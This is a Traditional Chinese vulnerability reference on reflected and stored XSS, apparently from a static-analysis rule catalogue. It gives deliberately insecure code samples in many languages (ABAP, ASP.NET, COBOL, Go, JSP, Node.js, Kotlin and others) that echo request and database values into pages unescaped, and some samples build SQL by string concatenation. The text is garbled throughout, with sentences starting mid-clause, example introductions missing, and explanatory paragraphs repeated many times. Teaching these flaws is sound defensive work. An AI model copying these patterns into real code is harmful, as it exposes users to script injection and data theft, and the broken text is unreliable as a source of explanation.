Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。eid，並將識別碼顯示給使用者。
...
eid = request->get_form_field( 'eid' ).
...
response->append_cdata( 'Employee ID: ').
response->append_cdata( eid ).
...
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
...
DATA: BEGIN OF itab_employees,
eid TYPE employees-itm,
name TYPE employees-name,
END OF itab_employees,
itab LIKE TABLE OF itab_employees.
...
itab_employees-eid = '...'.
APPEND itab_employees TO itab.
SELECT *
FROM employees
INTO CORRESPONDING FIELDS OF TABLE itab_employees
FOR ALL ENTRIES IN itab
WHERE eid = itab-eid.
ENDSELECT.
...
response->append_cdata( 'Employee Name: ').
response->append_cdata( itab_employees-name ).
...
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。eid，並將識別碼顯示給使用者。
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var eid:String = String(params["eid"]);
...
var display:TextField = new TextField();
display.htmlText = "Employee ID: " + eid;
...
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
stmt.sqlConnection = conn;
stmt.text = "select * from emp where id="+eid;
stmt.execute();
var rs:SQLResult = stmt.getResult();
if (null != rs) {
var name:String = String(rs.data[0]);
var display:TextField = new TextField();
display.htmlText = "Employee Name: " + name;
}
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。username，並向使用者顯示。
<script>
document.write('{!$CurrentPage.parameters.username}')
</script>
username 包含中繼字元或來源程式碼，則會由網頁瀏覽器執行。
...
variable = Database.query('SELECT Name FROM Contact WHERE id = ID');
...
<div onclick="this.innerHTML='Hello {!variable}'">Click me!</div>
Example 1 所述，對 name 的值進行明確界定時 (例如，僅英數字元)，此程式碼會正常運作，但無法檢查惡意資料。即使該值讀取自資料庫，也應該對其進行適當驗證，因為資料庫的內容可能源自於使用者提供的資料。這樣一來，攻擊者可以在使用者的網頁瀏覽器中執行惡意指令，而無需與受害者進行互動 (類似於 Reflected XSS)。此類攻擊稱為 Stored XSS (或 Persistent XSS)，可能非常難以偵測，因為資料是以間接方式提供給易受攻擊的函數，並且由於影響多個使用者的可能性，此類攻擊的影響會更強烈。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者將危險內容傳遞至易受攻擊的 Web 應用程式，然後回傳給使用者並透過其瀏覽器執行時，會出現 Reflected XSS。傳遞惡意內容最常用的機制就是，將惡意內容當作參數包含在公開發佈的 URL 中，或者以電子郵件方式直接傳送給受害者。透過此方式修改的 URL 是許多釣魚架構的核心，其中攻擊者會誘騙受害者造訪該 URL。當網站回傳內容給使用者後便會加以執行，並且可執行多個動作，例如轉送隱私、敏感的資訊、在受害者電腦上執行未經授權的作業等。Example 2 所述，資料庫或其他資料儲存區會向應用程式提供將包含在動態內容中的危險資料。從攻擊者的角度來看，儲存惡意內容的最佳位置是可供所有使用者 (尤其是擁有較高權限的使用者) 存取的區域，這些使用者更有可能會處理敏感資訊或執行關鍵作業。
<script runat="server">
...
EmployeeID.Text = Login.Text;
...
</script>
Login 和 EmployeeID 是定義如下的表單控制項：範例 2：以下的 ASP.NET 程式碼片段會示範以程式設計方式來實作
<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
Example 1。
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
Login 只包含標準英數字元，則這些範例中的程式碼都會正確地運作。如果 Login 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
<script runat="server">
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
</script>
EmployeeName 是定義如下的表單控制項：範例 4：以下 ASP.NET 程式碼片段的功能與之前的
<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
Example 3 相當，不過卻是以程式設計方式來實作所有的表單元素。
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
Example 1 和 Example 2 所述，name 值正常運作時，這些程式碼範例便會正確執行，不然就會完全無法避免攻擊。此外，這些程式碼之所以較不危險，是因為 name 值是從資料庫中讀取的，其內容顯然都由應用程式管理。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 和 Example 2 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 3 和 Example 4 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。EID，並顯示給使用者。
...
EXEC CICS
WEB READ
FORMFIELD(ID)
VALUE(EID)
...
END-EXEC.
EXEC CICS
WEB SEND
FROM(EID)
...
END-EXEC.
...
EID 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 EID 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
...
EXEC SQL
SELECT NAME
INTO :ENAME
FROM EMPLOYEE
WHERE ID = :EID
END-EXEC.
EXEC CICS
WEB SEND
FROM(ENAME)
...
END-EXEC.
...
Example 1 所述，ENAME 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 ENAME 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 ENAME 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這種類型的攻擊，被稱作 Stored XSS，是特別狡詐的，因為間接的資料儲存方式使得該威脅難以辨別，而且提高了該攻擊會影響到多個使用者的可能性。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從 HTML 表單中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。當攻擊者有以下情況時，Stored XSS 攻擊就會出現： eid，並將其顯示給使用者。
<cfoutput>
Employee ID: #Form.eid#
</cfoutput>
Form.eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 Form.eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
<cfquery name="matchingEmployees" datasource="cfsnippets">
SELECT name
FROM Employees
WHERE eid = '#Form.eid#'
</cfquery>
<cfoutput>
Employee Name: #name#
</cfoutput>
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。user，並向使用者顯示。
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", user)
}
user 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 user 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", name)
}
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果沒有對所有儲存在資料庫中的資料進行適當的輸入驗證，那麼攻擊者即可在使用者的網頁瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其極其隱蔽，會因為間接的資料儲存方式而難以辨別該威脅，並會提高影響多個使用者的可能性。XSS 弱點會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所示，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由網頁瀏覽器執行時，就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所示，應用程式會將危險資料儲存在資料庫或其他可信任的資料存放區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者執行需要權限許可的操作，或者取得存取使用者專屬敏感資料的權限。eid，並將其向使用者顯示。
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>
Employee Name: <%= name %>
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。
...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(url);
...
url 的值以 javascript: 開頭，隨後的 JavaScript 程式碼將在網頁範圍中的 WebView 內執行。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Example 3 所述，應用程式以外的來源會在資料庫或是其他資料儲存區中儲存危險資料，且之後這些危險資料會被當作信賴的資料回讀到應用程式，並會包含在動態內容中。eid，並顯示給使用者。
var http = require('http');
var url = require('url');
...
function listener(request, response){
var eid = url.parse(request.url, true)['query']['eid'];
if (eid !== undefined){
response.write('<p>Welcome, ' + eid + '!</p>');
}
...
}
...
http.createServer(listener).listen(8080);
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
var http = require('http');
...
function listener(request, response){
connection.query('SELECT * FROM emp WHERE eid="' + eid + '"', function(err, rows){
if (!err && rows.length > 0){
response.write('<p>Welcome, ' + rows[0].name + '!</p>');
}
...
});
...
}
...
http.createServer(listener).listen(8080);
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。eid，然後在 servlet 的回應中向使用者顯示其值。
val eid: String = request.getParameter("eid")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee ID: $eid")
...
out.close()
...
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
val stmt: Statement = conn.createStatement()
val rs: ResultSet = stmt.executeQuery("select * from emp where id=$eid")
rs.next()
val name: String = rs.getString("name")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee Name: $name")
...
out.close()
...
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。
...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(url)
...
url 的值以 javascript: 開頭，隨後的 JavaScript 程式碼將在網頁範圍中的 WebView 內執行。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Example 3 